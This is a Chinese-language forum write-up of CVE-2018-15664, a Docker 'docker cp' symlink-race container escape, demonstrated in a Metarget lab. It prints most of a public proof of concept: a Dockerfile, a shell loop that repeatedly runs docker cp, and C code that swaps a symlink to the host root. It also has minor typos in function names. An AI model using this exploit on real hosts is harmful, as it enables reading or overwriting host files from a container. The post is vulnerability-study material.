Docker容器逃逸漏洞分析及利用演示

影响范围

Docker 17.06.0-ce~17.12.1-ce:rc2

Docker 18.01.0-ce~18.06.1-ce:rc2

漏洞类型

容器逃逸

利用条件

TOCTOU

漏洞概述

在2019年6月份,曝光了Docker容器存在权限逃逸安全漏洞(漏洞编号:CVE-2018-15664)。攻击者可利用此漏洞访问主机文件系统的任意文件。该漏洞的攻击基于 FllowSymlinkInScope 受到最基本 TOCTOU 攻击(即 time-to-check-time-to-use 攻击,黑客可以在解析资源路径后但在分配的程序开始在资源上操作之前修改路径的窗口期内利用漏洞)。在这里,FllowSymlinkInScope 的目的是以安全的方式获取一个既定路径并将其解析,就像该进程在容器内一样。解析完整路径后,解析的路径传递给另一个比特位上的操作(在 Docker cp 情况下,在创建流式传输到客户端的文档时打开)。如果攻击者能够在路径解析之后但在操作之前添加一个符号链接组件,那么就能够以 root 身份在主机上解析符号链接路径组件。在 “Docker cp” 情况下,这将导致任何人都具有读取并写入主机上任何路径的访问权限。

漏洞环境

这里使用Metarget来构建环境:

./metarget cnv install cve-2018-15664
docker --version
图片[1]-Docker容器逃逸漏洞分析及利用演示-山海云端论坛

漏洞分析

漏洞POC:

https://github.com/Metarget/cloud-native-security-book/tree/main/code/0302-%E5%BC%80%E5%8F%91%E4%BE%A7%E6%94%BB%E5%87%BB/02-CVE-2018-15664/symlink_race/build

图片[2]-Docker容器逃逸漏洞分析及利用演示-山海云端论坛

文件目录查看:

root@ubuntu:/home/ubuntu# tree symlink_race
symlink_race
├── build
│   ├── Dockerfile
│   └── symlink_swap.c
├── run_read.sh
└── run_write.sh

1 directory, 4 files
root@ubuntu:/home/ubuntu#

文件用途说明:

  • Dockerfile : 构造Docker镜像文件
  • symlink_swap.c : 运行在Docker容器内部的POC
  • run_read.sh : 实现读取宿主机文件内容的Shell脚本
  • run_write.sh : 实现向宿主机中写文件的Shell脚本

Dockerfile内容:

首先获取基础镜像opensuse/tumbleweed,然后在镜像里编译添加了poc文件/symlink_swap , 最后写了一个falg 性质的文件/w00t_w00t_im_a_flag,内容为”FAILED — INSIDE CONTAINER PATH”

# Build the binary.
FROM opensuse/tumbleweed
RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
COPY symlink_swap.c /builddir/symlink_swap.c
RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c

# Set up our malicious rootfs.
FROM opensuse/tumbleweed
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
COPY --from=0 /builddir/symlink_swap /symlink_swap
ENTRYPOINT ["/symlink_swap"]

Run_read.sh内容:

SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag

# Create our flag.
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
    --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
    --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

# Now continually try to copy the files.
idx=0
while true
do
    mkdir "ex${idx}"
    docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
    idx=$(($idx + 1))
done

Run_read.sh脚本在host主机/w00t_w00t_im_a_flag文件写入falg内容SUCCESS — COPIED FROM THE HOST然后build,run cyphar/symlink_swap容器,最后写了个while死循环实现不间断docker cp行为

Symlink_swap.c重点内容:

  /*
     * Now create a symlink to "/" (which will resolve to the host's root if we
     * win the race) and a dummy directory at stash_path for us to swap with.
     * We use a directory to remove the possibility of ENOTDIR which reduces
     * the chance of us winning.
     */
    if (symlink("/", symlink_path) < 0)
        bail("create symlink_path");
    if (mkdir(stash_path, 0755) < 0)
        bail("mkdir stash_path");

    /* Now we do a RENAME_EXCHANGE forever. */
    for (;;) {
        int err = rrenameat2(AT_FDCWD, symlink_path,
                            AT_FDCWD, stash_path, RENAME_EXCHANGE);
        if (err < 0)
            perror("symlink_swap: rename exchange failed");
    }
    return 0;
}

symlink_path为argv[1]传递过来的参数,从run_read.sh中我们得知为目录/totally_safe_path,然后使用symlink函数将symlink_path软链接至系统根目录,最后使用for (;;)死循环调用rrenameat2函数,创造赢得TOCTOU攻击的机会,根据作者介绍poc脚本只有1%的机会成功利用TOCTOU攻击,但是在10s后就极可能的成功获取到host主机上的文件

漏洞利用

执行run_write.sh脚本运行恶意容器,然后不断执行docker cp命令,漏洞未触发时,宿主机上的/w00t_w00t_im_a_flag的内容为”FAILED — HOST FILE UNCHANGED”

./run_write.sh
图片[3]-Docker容器逃逸漏洞分析及利用演示-山海云端论坛
图片[4]-Docker容器逃逸漏洞分析及利用演示-山海云端论坛
图片[5]-Docker容器逃逸漏洞分析及利用演示-山海云端论坛

参考连接

https://seclists.org/oss-sec/2019/q2/131

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容